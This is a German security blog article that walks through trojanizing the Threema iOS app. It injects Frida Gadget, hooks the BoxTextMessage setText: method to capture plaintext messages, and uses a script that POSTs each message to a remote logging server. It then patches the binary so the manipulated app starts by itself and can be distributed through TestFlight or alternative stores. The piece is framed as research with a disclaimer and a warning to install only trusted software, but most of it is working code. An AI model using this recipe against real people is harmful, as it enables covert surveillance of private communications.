Threema-Nachrichten auf iOS analysieren - Mit dem Tool Frida

Threema-Nachrichten auf iOS analysieren

Mit dem Tool Frida

Ian Boschung
von Ian Boschung
am 10. April 2025
Lesezeit: 27 Minuten

Keypoints

Threema Nachrichten im Klartext

  • Software nur von vertrauenswürdigen Quellen installieren, selbst auf geschlossenen Systemen wie iOS
  • Mit dynamischer Instrumentierung können Nachrichten aus einer Chat-App extrahiert werden, auch wenn diese verschlüsselt übertragen werden
  • Die Nachrichten können zur Protokollierung an einen Webserver gesendet werden
  • Durch Modifikation des Binärcodes kann die manipulierte App auch ohne angeschlossenen Computer gestartet werden

Vor Kurzem fanden wir einen interessanten Artikel von 8ksecresearch, in welchem es um die Verwendung von Frida zur Analyse von Nachrichten in Signal und Telegram auf iOS geht. Dabei stellte sich für uns die Frage, ob dasselbe auch für die Schweizer Messaging-App Threema möglich wäre. Zusätzlich wollten wir die exfiltrierten Nachrichten an einen Server senden, der unter unserer Kontrolle steht.

DISCLAIMER: Dies ist keine Schwachstelle in Threema. Damit die Exfiltration von Nachrichten funktioniert, ist physischer Zugriff auf das Gerät und die Kenntnis des Passcodes erforderlich oder das Opfer muss die manipulierte App manuell installieren.

Dieser Artikel ist in die folgenden Zwischenschritte unterteilt:

Der erste Schritt kann übersprungen werden, wenn ein Gerät mit Jailbreak verwendet wird. Dieser Artikel setzt Grundkenntnisse in iOS Mobile Application Testing und dem Tool Frida voraus.

Das Frida Gadget in die App einfügen

Wenn wir ein Gerät ohne Jailbreak verwenden wollen, was alle neueren Geräte und iOS-Versionen einschliesst, müssen wir das Frida Gadget in die App einfügen, um die dynamischen Instrumentierungsfunktionen von Frida nutzen zu können. Das Tool objection bietet dazu einen vollautomatischen Befehl zur Ausführung aller erforderlichen Schritte, aber wir zeigen hier den manuellen Weg, um die volle Kontrolle über alle in der App vorgenommenen Änderungen zu haben.

Alle Apps auf iOS enthalten eine Code-Signatur, die sicherstellt, dass keine Änderungen vorgenommen wurden. Da wir einige der Binärdateien in der App ändern wollen, müssen wir diese Code-Signatur neu generieren. Die dafür benötigten Zertifikate und Schlüssel werden als Provisioning Profile bezeichnet und können mit einem gültigen Developer-Account bei Apple angefordert werden. Um ein gültiges Provisioning Profile zu erhalten, erstellen wir ein leeres Xcode-iOS-App-Projekt und installieren es auf dem Zielgerät. Xcode registriert das Gerät automatisch und generiert ein Provisioning Profile, das wir später zur erneuten Unterzeichnung der gepatchten App verwenden können. Wir benötigen ausserdem die IPA von Threema und die neueste Version des Frida Gadget für iOS. Dann können wir die folgenden Befehle ausführen, um das Frida Gadget in das App-Paket zu kopieren und eine Load-Instruktion in das Hauptprogramm einzufügen:

> unzip Threema.ipa && cd Payload/Threema.app
> cp <location of frida gadget> Frameworks/FridaGadget.dylib
> insert_dylib —strip-codesig —inplace Frameworks/FridaGadget.dylib Threema
> cd ../../ && zip -r Threema_frida_gadget.ipa Payload

Um die Codesignatur neu zu generieren gibt es verschiedene Tools, bei uns hat sich ios-app-signer als zuverlässig erwiesen. Bei Threema hatten wir jedoch das Problem, dass die App auch nach dem Signieren während dem Start abgestürzt ist und die folgende Fehlermeldung und Backtrace ausgegeben hat:

Fehlermeldung nach dem Start der App

Backtrace des Fehlerhaften Threads. Frida läuft in einem eigenen Thread und ist hier nicht abgestürzt, der Fehler muss also an etwas anderem liegen

Die Fehlermeldung und der Backtrace zeigen, dass der Fehler nicht mit Frida zusammenhängt, sondern mit application group identifiers und dem Code-Singing-Prozess. Die application group identifiers sind Teil der entitlements einer App, bei denen es sich um Berechtigungen handelt, die an das Provisioning Profile gebunden sind und von Apple validiert werden.

Entitlements der originalen Threema-App:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>application-identifier</key>
        <string>xxxxxxxx.ch.threema.iapp</string>
        <key>aps-environment</key>
        <string>production</string>
        [ … ]
        <key>com.apple.developer.team-identifier</key>
        <string>xxxxxxxx</string>
        <key>com.apple.developer.usernotifications.communication</key>
        <true/>
        <key>com.apple.security.application-groups</key>
        <array>
            <string>group.ch.threema</string>
        </array>
        <key>keychain-access-groups</key>
        <array>
            <string>xxxxxxxx.ch.threema.iapp</string>
        </array>
    </dict>
</plist>

Entitlements bei der von uns signierten, manipulierten App:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>application-identifier</key>
        <string>HB5LB87MX5.ch.scip.threema.Threema</string>
        <key>com.apple.developer.team-identifier</key>
        <string>HB5LB87MX5</string>
        <key>get-task-allow</key>
        <true/>
        <key>keychain-access-groups</key>
        <array>
            <string>HB5LB87MX5.*</string>
        </array>
    </dict>
</plist>

Es ist ersichtlich, dass Threema Zugriff auf die Application Group group.ch.threema hat und unsere gepatchte App nicht, was der Grund für die beobachtete Fehlermeldung sein könnte. Wir können eine App-Gruppe zu unseren Entitlements in Xcode im Abschnitt Singing & Capabilities hinzufügen. Da Apple uns daran hindert, dieselbe wie in der ursprünglichen Threema-App zu wählen, müssen wir eine andere verwenden, z. B. group.scip.threema. Da unsere App nun Zugriff auf einen Application Group Container hat, müssen wir ihr mitteilen, dass sie group.scip.threema anstelle von group.ch.threema verwenden soll. Eine Suche im Projekt nach der alten Zeichenkette für die Anwendungsgruppe zeigt, dass sie in der Datei Info.plist gespeichert ist, wo sie geändert werden kann. Nach der erneuten Code-Signierung des Pakets wird es korrekt gestartet und wir können eine vorhandene Threema-ID aus der ursprünglichen App übertragen.

Nach einer Funktion suchen, die die Nachrichten im Klartext verarbeitet

Um nach interessanten Funktionen zu suchen, verwenden wir das Tool objection. Wir beginnen mit einer Suche nach allen Klassen, die die Zeichenfolge message enthalten, und verwenden dazu den Befehl ios hooking search classes message, was zu 1600 Klassen führt. Um die Resultate etwas einzuschränken, versuchen wir nach TextMessage zu suchen, und erhalten 26 Ergebnisse.

ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking search classes TextMessage  
[]
BoxTextMessage 
GroupTextMessage  
TextMessageEntity  
TextMessageEntity_TextMessage_  
NSKVONotifying_TextMessageEntity_TextMessage_  
Threema.ChatViewTextMessageTableViewCell  

Found 26 classes

Um die vielversprechenden Klassen etwas genauer zu untersuchen, kann der Befehl ios hooking list class_methods verwendet werden. Bei der Klasse BoxTextMessage finden wir vielversprechende Funktionen:

ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking list class_methods BoxTextMessage  
+ supportsSecureCoding  
- type
- body  
- flagShouldPush  
- isContentValid  
- allowSendingProfile  
- supportsForwardSecurity  
- minimumRequiredForwardSecurityVersion  
- quotedBody  
- initWithCoder:  
- encodeWithCoder:  
- text  
- setText:
- quotedMessageId  
- setQuotedMessageId:  
- .cxx_destruct  

Found 16 methods

Mit objection können wir auch gleich die Ausführung dieser Funktion abfangen und die Parameter auswerten. Dabei können wir gesendete und empfangene Nachrichten sehen:

ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking watch method "-[BoxTextMessage setText:]" —dump-args  
(agent) Found selector at 0×102aacbbc as -[BoxTextMessage setText:]  
(agent) Registering job 750798. Type: watch-method for: -[BoxTextMessage setText:]  
ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # 
(agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage)  
(agent) [750798] Argument dump: [BoxTextMessage setText: Hello World!]  
(agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage)  
(agent) [750798] Argument dump: [BoxTextMessage setText: Hi]

Die gesendeten und empfangenen Nachrichten an den angeschlossenen Computer senden

Jetzt wollen wir diesen Prozess mit einem Frida-Agenten automatisieren. Dazu generieren wir einen neuen Boilerplate-Agenten mit Frida-create -t agent. In der Datei agent/index.ts können wir den Standardcode entfernen und der Funktion BoxTextMessage setText einen Interceptor hinzufügen, der den Parameter protokolliert. Dabei muss das Script den Text aus dem dritten Element im args-Array laden, da beim Aufruf einer Klassenmethode in Objective-C das erste Argument einen Pointer auf die Klasseninstanz und das zweite Argument den Methodenselektor (einen Zeiger auf eine Zeichenfolge, die die Methode identifiziert) enthält. Da der Parameter nicht die Zeichenfolge selbst, sondern ein Pointer auf einen String ist, erstellt das Skript aus dem Pointer ein ObjC-Objekt.

import { log } from "./logger.js";  

const { BoxTextMessage } = ObjC.classes;

Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); } });

Die folgenden zwei Befehle werden verwendet, um den Agenten zu erstellen und ihn in der App einzufügen, die derzeit auf einem verbundenen Gerät im Vordergrund ist:

> npm run build
> Frida -UF -l _agent.js
[]
    . . . . Connected to iPhone (id=3c8efcd76b83ba4576e453f7718a8e2a00ae661b)  
[ 2025-03-19T09:12:02.979Z ]: Test Message  
[ 2025-03-19T09:12:21.330Z ]: Test Answer  

Nachrichten an einen Server unter unserer Kontrolle zu senden

Für einen möglichen Angreifer wäre es nützlich, wenn das Skript die Nachrichten an einen Webserver senden würde, damit das Gerät nicht ständig mit einem Computer verbunden sein muss. Wir passen diesen Code von github an unsere Bedürfnisse an und senden den Nachrichtentext im Body eines Post-Requests an einen Server unserer Wahl. Der Server kann dann ein einfaches PHP-Skript hosten, das die Nachrichten in einer Textdatei protokolliert oder anderweitig verarbeitet.

import { log } from "./logger.js";

const { BoxTextMessage, NSString, NSMutableURLRequest, NSURL, NSURLConnection } = ObjC.classes;

// https://github.com/Frida/Frida/issues/1158

const sendTextToRemote = (text: any) => { var str = NSString['alloc']()['initWithString:'](`log_line=${text}`) ; var postData = str.dataUsingEncoding_(4); var len = str.length; var strLength = NSString['stringWithFormat:']('%d', len); var request = NSMutableURLRequest['alloc']()['init'](); var url = NSURL.URLWithString_('https://www.example.org/threema_log.php'); var method = NSString['alloc']()['initWithString:']('POST'); var httpF = NSString['alloc']()['initWithString:']('Content-Length'); var httpL = NSString['alloc']()['initWithString:']('Content-Type'); request.setURL_(url); request.setHTTPMethod_(method); request.setValue_forHTTPHeaderField_(strLength,httpF); request.setValue_forHTTPHeaderField_("application/x-www-form-urlencoded", httpL); request.setHTTPBody_(postData); var nil = ObjC.Object(ptr("0×0")); var d = NSURLConnection['sendSynchronousRequest:returningResponse:error:'](request,nil,nil); };

Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { const text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); sendTextToRemote(text) } });

Screenshot from a sent and received message on the target phone

Screenshot of the two message being logged to a webserver

Bonus: Unser Agent startet automatisch

Bis jetzt musste das Frida-Skript bei jedem App-Start jeweils manuell gestartet werden, wir wollen aber dass dies automatisch passiert. Frida Gadget kann dies mit seinem Skriptmodus für uns erledigen. Wir kopieren die Datei _agent.js in das Verzeichnis Payload/Threema.app/Frameworks und erstellen die Datei FridaGadget.config an derselben Stelle. Der folgende JSON-Code in der Konfigurationsdatei weist Frida an, unseren Agenten beim Start auszuführen:

{ 
  "interaction": {
    "type": "script",
    "path": "_agent.js"
  }
}

Es gibt dabei eine Einschränkung: Bei einem Gerät ohne Jailbreak muss beim Starten der App ein Debugger angeschlossen werden. Wenn Frida eine Funktion einbindet, ändert sie den Code dieser Funktion im Maschinencode. In diesem Fall ist die Codesignatur nicht mehr gültig und iOS stoppt die Ausführung der App. Wenn ein Debugger während des Starts der App angehängt wird, wird diese Einschränkung gelockert und die Code-Signatur wird während der Laufzeit der App nicht überprüft (der Debugger kann getrennt werden, sobald die App gestartet wurde). Eine Lösung für dieses Problem besteht darin, das Programm im Voraus zu patchen. Wir ändern die Funktionen, die wir abfangen möchten, so, dass der erste Befehl der Funktion ein Jump zu Frida ist. Wenn Frida angehängt ist, kann dort der JavaScript-Agent ausgeführt werden und dann zur normalen Funktionsausführung zurück gesprungen werden. Dies manuell zu tun, wäre mühsam, aber in Frida ist ein Tool namens gum-graft enthalten, das diese Aufgaben automatisiert.

Wir wissen bereits, welche Funktionsaufrufe wir abfangen wollen (BoxTextMessage setText:), sodass wir nur diese eine Stelle im Code patchen müssen. Um die Adresse der Funktion zu erhalten, kann der Befehl dyld_info verwendet werden, welcher die Tabelle LC_FUNCTION_STARTS in der Binärdatei liest. gum-graft kann dann die Binärdatei an dem gefundenen Funktions-Offset 0×18bbc patchen:

> xcrun dyld_info -function_starts Frameworks/ThreemaFramework.framework/ThreemaFramework | grep "BoxTextMessage setText"
        0×00018BBC  -[BoxTextMessage setText:]
> gum-graft Frameworks/ThreemaFramework.framework/ThreemaFramework —instrument=0×18bbc

In unserem Fall hat dies die Binärdatei irgendwie beschädigt, so dass sie nicht mehr ausgeführt werden konnte und der Befehl xcrun dyld_info die Fehlermeldung dyld_info: 'ThreemaFramework_broken' chained fixups, seg_count does not match number of segments zurückgab. Wir sind uns nicht sicher, ob dies daran liegt, dass die Binärdatei mit speziellen Compiler- und Linker-Flags erstellt wurde, oder ob es sich um einen Fehler in Fridas Gum-Graft-Tool handelt. Bei der Untersuchung der Binärdatei ThreemaFramework mit verschiedenen Command Line Tools und Ghidra haben wir einige Beobachtungen gemacht und eine Lösung gefunden: gum-graft fügt der Binärdatei zwei Segmente hinzu: __FRIDA_TEXT0 und __FRIDA_DATA0 und ändert die Funktion bei Offset 0x18bbc, die sich in der Sektion __TEXT,__text befindet. Mit diesen Informationen und dem Tool LIEF.re mit Python-Bindings ist es möglich, die geänderten Teile aus dem gepatchten in das ursprüngliche Binärprogramm zu kopieren.

>>> import lief
>>> original_binary = lief.parse("ThreemaFramework")
>>> patched_binary = lief.parse("ThreemaFramework_patched")
>>> print(patched_binary.segments[3])
Command: SEGMENT_64
Offset:  0×1138
Size:    0×98name=__FRIDA_TEXT0, vaddr=0×804000, vsize=0×4000 offset=0×7e4000, size=16384, max protection=5, init protection=5 flags=0
>>> print(patched_binary.segments[4])
Command: SEGMENT_64
Offset:  0×11d0
Size:    0×98name=__FRIDA_DATA0, vaddr=0×808000, vsize=0×4000 offset=0×7e8000, size=16384, max protection=3, init protection=3 flags=0
>>> original_binary.add(patched_binary.segments[3])
<lief._lief.MachO.SegmentCommand object at 0×10e48a1d0>
>>> original_binary.add(patched_binary.segments[4])
<lief._lief.MachO.SegmentCommand object at 0×10e48a290>
>>> original_binary.get_section("__text").content = patched_binary.get_section("__text").content
>>> original_binary.write("ThreemaFramework")

Bevor wir die gepatchte Binärdatei ausführen, müssen wir Frida noch mitteilen, dass nur gepatchte Funktionen instrumentiert werden können. Dies können wir in der Datei FirdaGadget.config tun, indem wir die Option "code_signing": "required" hinzufügen. Mit diesen Änderungen kann die App vom Computer und Debugger getrennt werden und startet einwandfrei. Dies bedeutet auch, dass es einfacher ist, die App an andere Personen zu verteilen, z. B. über Testflight oder alternative App-Stores.

Fazit

Wir haben gezeigt, dass es möglich ist, Nachrichten aus Chat-Apps wie Threema mithilfe dynamischer Instrumentierungswerkzeuge zu exfiltrieren. Wir haben die Methode weiter verfeinert, indem wir die Nachrichten an einen Webserver senden und die Instrumentierung automatisch starten. Durch das Patchen der Binärdatei haben wir eine Version von Threema erstellt, die über Apple TestFlight oder andere alternative App-Stores verteilt werden kann. In Kombination mit einem Social-Engineering-Angriff ist es plausibel, dass dies zum Ausspionieren eines Opfers verwendet werden kann, und es zeigt, wie wichtig es ist, Software nur von vertrauenswürdigen Quellen zu installieren, selbst auf geschlossenen Systemen wie iOS.

Über den Autor

Ian Boschung

Ian Boschung nimmt seit dem Gymnasium an Programmierwettbewerben teil und hat während des Studiums an der ETH mit einem Master in Elektrotechnik & Infromationstechnologie seine Leidenschaft für Cyber Security entdeckt. Er fokussiert sich auf die Sicherheitsüberprüfung von Webapplikationen und Linux/Unix-Systemen.

Links

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

×
Mobile Security Testing

Mobile Security Testing

Sichere Mobile Applikationen und Kommunikation, wir bringen Antworten.

Sie wollen mehr?

Weitere Artikel im Archiv

Wie Sie Ihre Online-Konten schützen können

Wie Sie Ihre Online-Konten schützen können

Ian Boschung

iOS Mobile Application Testing

iOS Mobile Application Testing

Ian Boschung

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv